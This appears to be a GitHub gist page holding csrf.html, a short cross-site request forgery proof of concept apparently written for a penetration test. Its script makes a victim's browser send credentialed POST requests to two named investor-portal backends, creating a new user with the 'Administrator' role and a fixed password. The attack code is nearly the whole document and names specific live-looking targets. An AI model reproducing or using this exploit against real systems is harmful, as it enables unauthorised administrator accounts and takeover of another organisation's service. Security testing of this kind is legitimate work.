Skip to content

Instantly share code, notes, and snippets.

@samuelkarani

samuelkarani/csrf.html

Created December 14, 2022 09:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save samuelkarani/be65077372dc8bc8395a71209150817f to your computer and use it in GitHub Desktop.
Save samuelkarani/be65077372dc8bc8395a71209150817f to your computer and use it in GitHub Desktop.
Download ZIP
Raw
csrf.html
<html>
<body>
<button onclick="aml()">test aml</button>
<button onclick="eurazeo()">test eurazio</button>
<script>
history.pushState("", "", "/");
</script>
<script>
function submitRequest(url) {
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(
'{"email":"csrf@b.com","firstName":"Testuser CSRF","lastName":"Wavestone","displayName":"","phone":"", "role":"Administrator ","password":"!p0cCSRF?+"}'
);
}
function aml() {
submitRequest("https://bck-aml-ft-pilot.investors.eurazeo.com/user");
}
function eurazeo() {
submitRequest("https://bck-pilot.investors.eurazeo.com/user");
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment